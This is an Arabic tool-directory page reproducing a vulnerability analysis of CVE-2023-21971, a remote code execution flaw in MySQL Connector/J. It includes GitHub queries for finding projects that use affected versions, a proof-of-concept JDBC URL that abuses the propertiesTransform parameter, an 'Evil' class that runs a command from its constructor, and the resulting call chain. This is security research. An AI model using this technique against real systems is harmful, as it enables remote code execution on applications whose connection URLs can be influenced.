Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-21971_Analysis — CVE-2023-21971 Connector/J RCE تحليل | Kitploit
أدوات/GitHubGitHub/avento/cve-2023-21971_analysis
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubavento/cve-2023-21971_analysis

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE تحليل

عرض المستودع
32منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-21971 تحليل RCE لـ Connector/J

المراجع

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

تحليل إلغاء تسلسل MYSQL JDBC - 跳跳糖 (tttang.com)

نظرة عامة على الثغرة

ثغرة في منتج MySQL Connectors من Oracle MySQL (المكون: Connector/J). الإصدارات المتأثرة المدعومة هي 8.0.32 والإصدارات الأقدم. ثغرة يصعب استغلالها تسمح لمهاجم عالي الصلاحية بالوصول إلى الشبكة عبر بروتوكولات متعددة لتعطيل موصل MySQL. الهجوم الناجح يتطلب تفاعلًا بشريًا من شخص آخر غير المهاجم. الهجوم الناجح على هذه الثغرة قد يؤدي إلى قدرة غير مصرح بها تؤدي إلى تعليق موصل MySQL أو تعطله المتكرر (DOS كامل)، بالإضافة إلى تحديث أو إدراج أو حذف غير مصرح به للوصول إلى بيانات يمكن الوصول إليها بواسطة بعض موصلات MySQL، وقراءة غير مصرح بها لجزء من بيانات موصل MySQL.

نطاق التأثير:

  • المتأثر: 8.0.32 والإصدارات الأقدم

الاستعلام

ابحث في Github عن المشاريع التي تعتمد على mysql-connector-java.

root@kitploit:~
filename:pom.xml mysql-connector-java

ابحث في Github، وستجد المشاريع التي تعتمد على إصدار معين من mysql-connector-java.

root@kitploit:~
filename:pom.xml mysql-connector-java 8.0.32

PoC

root@kitploit:~
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

التحليل

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

image-20230607113458073

من الواضح هنا أنه يمكننا التحكم في propertiesTransformClassName، وعند استدعاء newInstance() سيتم تلقائيًا استدعاء المنشئ بدون معاملات.

root@kitploit:~
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

من الواضح أنه يمكننا كتابة Demo للتحقق.

بيئة إعادة الإنتاج

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

root@kitploit:~
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

هنا نقوم بتنزيل ملف Jar مباشرة واستيراده إلى مكتبات مشروع IDEA.

Test.java

root@kitploit:~
import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

root@kitploit:~
package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

image-20230607144859000

لكن فئة Evil تم إنشاؤها محليًا، ولا توجد أي فئة في التبعيات تقوم بتطبيق واجهة ConnectionPropertiesTransform. هل هذه ثغرة غير عملية؟

image-20230607145253977

من خلال التجربة، وجدنا أن فئة Evil لا تحتاج إلى تنفيذ واجهة ConnectionPropertiesTransform لتنفيذ الأوامر.

image-20230607145521241

سلسلة الاستدعاء

root@kitploit:~
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test
تنزيل الأداة